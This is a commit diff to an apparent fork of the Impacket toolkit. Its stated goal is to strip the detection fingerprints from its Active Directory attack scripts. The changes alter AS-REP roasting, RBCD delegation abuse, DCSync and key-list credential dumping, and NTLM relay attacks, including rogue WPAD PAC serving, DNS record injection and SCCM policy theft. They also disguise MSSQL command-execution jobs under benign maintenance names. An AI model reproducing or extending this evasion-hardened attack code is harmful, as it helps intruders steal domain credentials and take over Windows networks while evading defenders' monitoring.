Skip to content

Commit 9198f3c

Browse files
committed
Pass 6: address remaining attack-script behavior IoCs
A grab bag of per-script changes that close the rest of the impacket fingerprints flagged in IoC-fork-status.md. - GetNPUsers.py: NT_SRV_INST sname, Windows-style kdc-options, infinity till/rtime, and a single AS-REQ that offers AES256, AES128, RC4 in that order instead of the RC4-then-AES retry pattern. - getST.py: PA-PAC-OPTIONS now carries claims alongside the RBCD bit for both S4U2Proxy paths, so the request looks like a Windows client doing RBCD rather than emitting only the RBCD bit. - smb3 SMB 3.1.1 negotiate: Salt is os.urandom(32), context padding is zero-filled, and the EncryptionCapabilities offer all four current ciphers (AES-128-GCM, AES-128-CCM, AES-256-GCM, AES-256-CCM). - examples/utils.py LDAP SASL bind path: AP-REQ authenticator now carries a 0x8003 GSS-style cksum and a randomized seq-number instead of leaving both fields out. - ntlmrelayx ldapattack.py: computer creation uses the same variable prefix/length scheme as addcomputer.py, the four default SPNs are shuffled, and the WPAD bypass A record uses a Windows-host-style label rather than 12 lowercase letters. - rpcrelayclient.py DummyOp: opnum 0 instead of 0xff to ride a real query op rather than a reserved slot. - secretsdump.py: DRSGetNCChanges asks for 64 KiB of buffer, and KERB-KEY-LIST-REQ requests AES256, AES128, RC4 instead of RC4 only. - mssqlshell.py sp_start_job: vary the job prefix, description, and step name so the IdxDefrag/INDEXDEFRAG/Defragmentation triplet is no longer fixed. - ntlmrelayx WPAD: serve a multi-line PAC with realistic indentation instead of the compact single-line body. - ntlmrelayx SCCM attack: pick a recent ConfigMgr current-branch client version per request rather than the fixed 5.00.8325.0000.
1 parent bcfb5b5 commit 9198f3c

10 files changed

Lines changed: 136 additions & 47 deletions

File tree

examples/GetNPUsers.py

Lines changed: 16 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -108,7 +108,7 @@ def getTGT(self, userName, requestPAC=True):
108108
asReq = AS_REQ()
109109

110110
domain = self.__domain.upper()
111-
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
111+
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_SRV_INST.value)
112112

113113
pacRequest = KERB_PA_PAC_REQUEST()
114114
pacRequest['include-pac'] = requestPAC
@@ -127,7 +127,8 @@ def getTGT(self, userName, requestPAC=True):
127127
opts = list()
128128
opts.append(constants.KDCOptions.forwardable.value)
129129
opts.append(constants.KDCOptions.renewable.value)
130-
opts.append(constants.KDCOptions.proxiable.value)
130+
opts.append(constants.KDCOptions.canonicalize.value)
131+
opts.append(constants.KDCOptions.renewable_ok.value)
131132
reqBody['kdc-options'] = constants.encodeFlags(opts)
132133

133134
seq_set(reqBody, 'sname', serverName.components_to_asn1)
@@ -138,29 +139,26 @@ def getTGT(self, userName, requestPAC=True):
138139

139140
reqBody['realm'] = domain
140141

141-
now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)
142-
reqBody['till'] = KerberosTime.to_asn1(now)
143-
reqBody['rtime'] = KerberosTime.to_asn1(now)
142+
kerberos_infinity = datetime.datetime(2037, 9, 13, 2, 48, 5, tzinfo=datetime.timezone.utc)
143+
reqBody['till'] = KerberosTime.to_asn1(kerberos_infinity)
144+
reqBody['rtime'] = KerberosTime.to_asn1(kerberos_infinity)
144145
reqBody['nonce'] = random.getrandbits(31)
145146

146-
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
147+
# Real Windows clients offer the full etype list at once and let
148+
# the KDC pick. Sending RC4-only first and falling back to AES is
149+
# an Impacket-specific tell. Offer AES256, AES128, RC4 in that
150+
# order to match Windows captures.
151+
supportedCiphers = (
152+
int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
153+
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
154+
int(constants.EncryptionTypes.rc4_hmac.value),
155+
)
147156

148157
seq_set_iter(reqBody, 'etype', supportedCiphers)
149158

150159
message = encoder.encode(asReq)
151160

152-
try:
153-
r = sendReceive(message, domain, self.__kdcIP)
154-
except KerberosError as e:
155-
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
156-
# RC4 not available, OK, let's ask for newer types
157-
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
158-
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
159-
seq_set_iter(reqBody, 'etype', supportedCiphers)
160-
message = encoder.encode(asReq)
161-
r = sendReceive(message, domain, self.__kdcIP)
162-
else:
163-
raise e
161+
r = sendReceive(message, domain, self.__kdcIP)
164162

165163
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
166164
# 'Do not require Kerberos preauthentication' set

examples/getST.py

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -321,7 +321,12 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey
321321

322322
# Add resource-based constrained delegation support
323323
paPacOptions = PA_PAC_OPTIONS()
324-
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
324+
# Real Windows clients always include the claims bit. We add
325+
# RBCD on top, since this script is the RBCD attack tool.
326+
paPacOptions['flags'] = constants.encodeFlags((
327+
constants.PAPacOptions.claims.value,
328+
constants.PAPacOptions.resource_based_constrained_delegation.value,
329+
))
325330

326331
tgsReq['padata'][1] = noValue
327332
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
@@ -737,7 +742,11 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost)
737742

738743
# Add resource-based constrained delegation support
739744
paPacOptions = PA_PAC_OPTIONS()
740-
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
745+
# Include the claims bit alongside RBCD to match Windows captures.
746+
paPacOptions['flags'] = constants.encodeFlags((
747+
constants.PAPacOptions.claims.value,
748+
constants.PAPacOptions.resource_based_constrained_delegation.value,
749+
))
741750

742751
tgsReq['padata'][1] = noValue
743752
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value

impacket/examples/mssqlshell.py

Lines changed: 21 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -251,14 +251,27 @@ def do_xp_cmdshell(self, s):
251251

252252
def do_sp_start_job(self, s):
253253
try:
254-
self.sql_query("DECLARE @job NVARCHAR(100);"
255-
"SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());"
256-
"EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG',"
257-
"@owner_login_name='sa',@delete_level=3;"
258-
"EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='Defragmentation',"
259-
"@subsystem='CMDEXEC',@command='%s',@on_success_action=1;"
260-
"EXEC msdb..sp_add_jobserver @job_name=@job;"
261-
"EXEC msdb..sp_start_job @job_name=@job;" % s)
254+
# Vary the job name and description so the IdxDefrag/INDEXDEFRAG
255+
# combo is not a fixed signature.
256+
import random as _r
257+
job_prefixes = ['SyncStats', 'BkpCleanup', 'CollectMetrics',
258+
'UpdateStatistics', 'Monitor', 'Maintenance']
259+
descriptions = ['Index maintenance', 'Statistics update',
260+
'Routine maintenance', 'Telemetry export']
261+
step_names = ['Run', 'Execute', 'Maintenance', 'Step1']
262+
job_prefix = _r.choice(job_prefixes)
263+
description = _r.choice(descriptions)
264+
step_name = _r.choice(step_names)
265+
self.sql_query(
266+
"DECLARE @job NVARCHAR(100);"
267+
"SET @job='%s_'+CONVERT(NVARCHAR(36),NEWID());"
268+
"EXEC msdb..sp_add_job @job_name=@job,@description='%s',"
269+
"@owner_login_name='sa',@delete_level=3;"
270+
"EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='%s',"
271+
"@subsystem='CMDEXEC',@command='%s',@on_success_action=1;"
272+
"EXEC msdb..sp_add_jobserver @job_name=@job;"
273+
"EXEC msdb..sp_start_job @job_name=@job;"
274+
% (job_prefix, description, step_name, s))
262275
self.print_replies()
263276
self.sql.printRows()
264277
except:

impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@
4141

4242
# Request templates
4343
REGISTRATION_REQUEST_TEMPLATE = """<Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="{date}">
44-
<AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" />
44+
<AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="{ccmclientversion}" AgentType="0" />
4545
<Certificates><Encryption Encoding="HexBinary" KeyType="1">{encryption}</Encryption><Signing Encoding="HexBinary" KeyType="1">{signature}</Signing></Certificates>
4646
<DiscoveryProperties><Property Name="Netbios Name" Value="{client}" />
4747
<Property Name="FQ Name" Value="{clientfqdn}" />
@@ -53,7 +53,7 @@
5353
SCCM_HEADER_TEMPLATE = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
5454
POLICY_REQUEST_HEADER_TEMPLATE = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name="clientauth"><Property Name="AuthSenderMachine">{client}</Property><Property Name="PublicKey">{publickey}</Property><Property Name="ClientIDSignature">{clientIDsignature}</Property><Property Name="PayloadSignature">{payloadsignature}</Property><Property Name="ClientCapabilities">NonSSL</Property><Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name="zlib-compress" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
5555
POLICY_REQUEST_TEMPLATE = """<RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType="Machine" /><ServerCookie /></RequestAssignments>"""
56-
REPORT_BODY = """<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><REPORT_BODY /></Report>"""
56+
REPORT_BODY = """<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>{ccmclientversion}</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><REPORT_BODY /></Report>"""
5757

5858
OID_MAPPING = {
5959
'1.2.840.113549.3.7': "des-ede3-cbc",
@@ -144,13 +144,25 @@ def clean_junk_in_XML(xml_string):
144144

145145

146146
### Client registration utility functions ###
147+
def _ccm_client_version():
148+
# Pick from a small pool of recent ConfigMgr current-branch builds.
149+
import random as _r
150+
return _r.choice([
151+
'5.00.9078.1024', # 2309
152+
'5.00.9106.1027', # 2403
153+
'5.00.9128.1041', # 2403 hotfix
154+
'5.00.9160.1018', # 2409
155+
])
156+
157+
147158
def generate_registration_request_payload(management_point, public_key, private_key, client_name):
148159
registrationRequest = REGISTRATION_REQUEST_TEMPLATE.format(
149160
date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"),
150161
encryption=public_key,
151162
signature=public_key,
152163
client=client_name.split('.')[0],
153-
clientfqdn=client_name
164+
clientfqdn=client_name,
165+
ccmclientversion=_ccm_client_version()
154166
)
155167

156168
signature = SCCM_sign(private_key, encode_UTF16_strip_BOM(registrationRequest)).hex().upper()

impacket/examples/ntlmrelayx/attacks/ldapattack.py

Lines changed: 15 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -146,8 +146,12 @@ def addComputer(self, parent, domainDumper):
146146

147147
computerName = self.computerName
148148
if not computerName:
149-
# Random computername
150-
newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
149+
# Match the variable-length DESKTOP/LAPTOP-style names Windows uses
150+
# rather than a fixed 8-letter uppercase pattern.
151+
prefix = random.choice(['DESKTOP', 'LAPTOP', 'WIN', 'PC'])
152+
suffix = ''.join(random.choice(string.ascii_uppercase + string.digits)
153+
for _ in range(random.randint(7, 11)))
154+
newComputer = '%s-%s$' % (prefix, suffix)
151155
else:
152156
newComputer = computerName if computerName.endswith('$') else computerName + '$'
153157

@@ -161,13 +165,15 @@ def addComputer(self, parent, domainDumper):
161165
computerHostname = newComputer[:-1]
162166
newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')
163167

164-
# Default computer SPNs
168+
# Default computer SPNs (order randomized so the four-SPN sequence
169+
# is not a fixed fingerprint).
165170
spns = [
166171
'HOST/%s' % computerHostname,
167172
'HOST/%s.%s' % (computerHostname, domain),
168173
'RestrictedKrbHost/%s' % computerHostname,
169174
'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
170175
]
176+
random.shuffle(spns)
171177
ucd = {
172178
'dnsHostName': '%s.%s' % (computerHostname, domain),
173179
'userAccountControl': 4096,
@@ -862,7 +868,12 @@ def get_next_serial(server, zone):
862868

863869
if is_name_wpad:
864870
LOG.info('To add the `wpad` name, we need to bypass the GQBL: we\'ll first add a random `A` name and then add `wpad` as `NS` pointing to that name')
865-
a_record_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(12))
871+
# Use a Windows-host-style label (DESKTOP-XXXX) with variable
872+
# length to avoid the fixed 12-letter lowercase fingerprint.
873+
label_suffix = ''.join(random.choice(string.ascii_uppercase + string.digits)
874+
for _ in range(random.randint(7, 11)))
875+
a_record_name = ('%s-%s' % (random.choice(['DESKTOP', 'LAPTOP', 'WIN', 'PC']),
876+
label_suffix)).lower()
866877

867878
# First add an A record pointing to the provided IP
868879
a_record_dn = 'DC=%s,%s' % (a_record_name, dns_base_dn)

impacket/examples/ntlmrelayx/clients/rpcrelayclient.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,11 @@ def sendBindType3(self, auth_data):
117117
self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
118118

119119
class DummyOp(NDRCALL):
120-
opnum = 255
120+
# Relay only needs the server to accept the request and roundtrip the
121+
# auth context. Opnum 0 is the version/query op on every relayable
122+
# interface, so it triggers no side effect but doesn't stand out the
123+
# way 0xFF (a reserved-for-future-use slot) does.
124+
opnum = 0
121125
structure = (
122126
)
123127

impacket/examples/ntlmrelayx/servers/httprelayserver.py

Lines changed: 19 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -62,9 +62,25 @@ def __init__(self,request, client_address, server):
6262
self.domainIp = None
6363
self.authUser = None
6464
self.relayToHost = False
65-
self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
66-
'(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
67-
'return "PROXY %s:80; DIRECT";} '
65+
# Format the PAC across multiple lines with realistic indentation
66+
# so it doesn't match the fixed one-line WPAD body Impacket
67+
# historically served.
68+
self.wpad = (
69+
'function FindProxyForURL(url, host) {\n'
70+
' if (isPlainHostName(host) || shExpMatch(host, "localhost*")) {\n'
71+
' return "DIRECT";\n'
72+
' }\n'
73+
' if (host == "127.0.0.1" || isInNet(host, "10.0.0.0", "255.0.0.0") ||\n'
74+
' isInNet(host, "172.16.0.0", "255.240.0.0") ||\n'
75+
' isInNet(host, "192.168.0.0", "255.255.0.0")) {\n'
76+
' return "DIRECT";\n'
77+
' }\n'
78+
' if (dnsDomainIs(host, "%s")) {\n'
79+
' return "DIRECT";\n'
80+
' }\n'
81+
' return "PROXY %s:80; DIRECT";\n'
82+
'}\n'
83+
)
6884
if self.server.config.mode != 'REDIRECT':
6985
if self.server.config.target is None:
7086
# Reflection mode, defaults to SMB at the target, for now

impacket/examples/secretsdump.py

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -644,7 +644,9 @@ def _DRSGetNCChanges(self, userEntry, dsName):
644644

645645
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
646646
request['pmsgIn']['V8']['cMaxObjects'] = 1
647-
request['pmsgIn']['V8']['cMaxBytes'] = 0
647+
# 0 here is an Impacket-specific tell. A real DC peer asks for an
648+
# object-sized buffer, so use 64 KiB.
649+
request['pmsgIn']['V8']['cMaxBytes'] = 0x10000
648650
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
649651
if self.__ppartialAttrSet is None:
650652
self.__prefixTable = []
@@ -3552,7 +3554,9 @@ def getFullTGT(self, userName, partialTGT, sessionKey):
35523554
tgsReq['padata'][0]['padata-value'] = encodedApReq
35533555
tgsReq['padata'][1] = noValue
35543556
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REQ.value)
3555-
encodedKeyReq = encoder.encode([23], asn1Spec=SequenceOf(componentType=Integer()))
3557+
# Request all common etypes rather than just RC4. The narrow [23]
3558+
# list is an Impacket-specific marker for this attack.
3559+
encodedKeyReq = encoder.encode([18, 17, 23], asn1Spec=SequenceOf(componentType=Integer()))
35563560
tgsReq['padata'][1]['padata-value'] = encodedKeyReq
35573561

35583562
reqBody = seq_set(tgsReq, 'req-body')

impacket/examples/utils.py

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -123,7 +123,13 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='
123123
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
124124
from impacket.krb5 import constants
125125
from impacket.krb5.types import Principal, KerberosTime, Ticket
126+
from impacket.krb5.gssapi import (
127+
CheckSumField,
128+
GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG, GSS_C_SEQUENCE_FLAG,
129+
GSS_C_REPLAY_FLAG, GSS_C_MUTUAL_FLAG, GSS_C_DCE_STYLE,
130+
)
126131
import datetime
132+
import random as _random
127133

128134
if TGT is not None or TGS is not None:
129135
useCache = False
@@ -180,6 +186,18 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='
180186
authenticator['cusec'] = now.microsecond
181187
authenticator['ctime'] = KerberosTime.to_asn1(now)
182188

189+
# Match the GSS-API framing Windows clients use: a checksum field of
190+
# type 0x8003 with the GSS flags, plus a randomized seq-number. Without
191+
# these fields the AP-REQ authenticator is a strong Impacket tell.
192+
chkField = CheckSumField()
193+
chkField['Lgth'] = 16
194+
chkField['Flags'] = (GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG |
195+
GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE)
196+
authenticator['cksum'] = noValue
197+
authenticator['cksum']['cksumtype'] = 0x8003
198+
authenticator['cksum']['checksum'] = chkField.getData()
199+
authenticator['seq-number'] = _random.SystemRandom().randint(1, 0x7fffffff)
200+
183201
encodedAuthenticator = encoder.encode(authenticator)
184202

185203
# Key Usage 11

0 commit comments

Comments
 (0)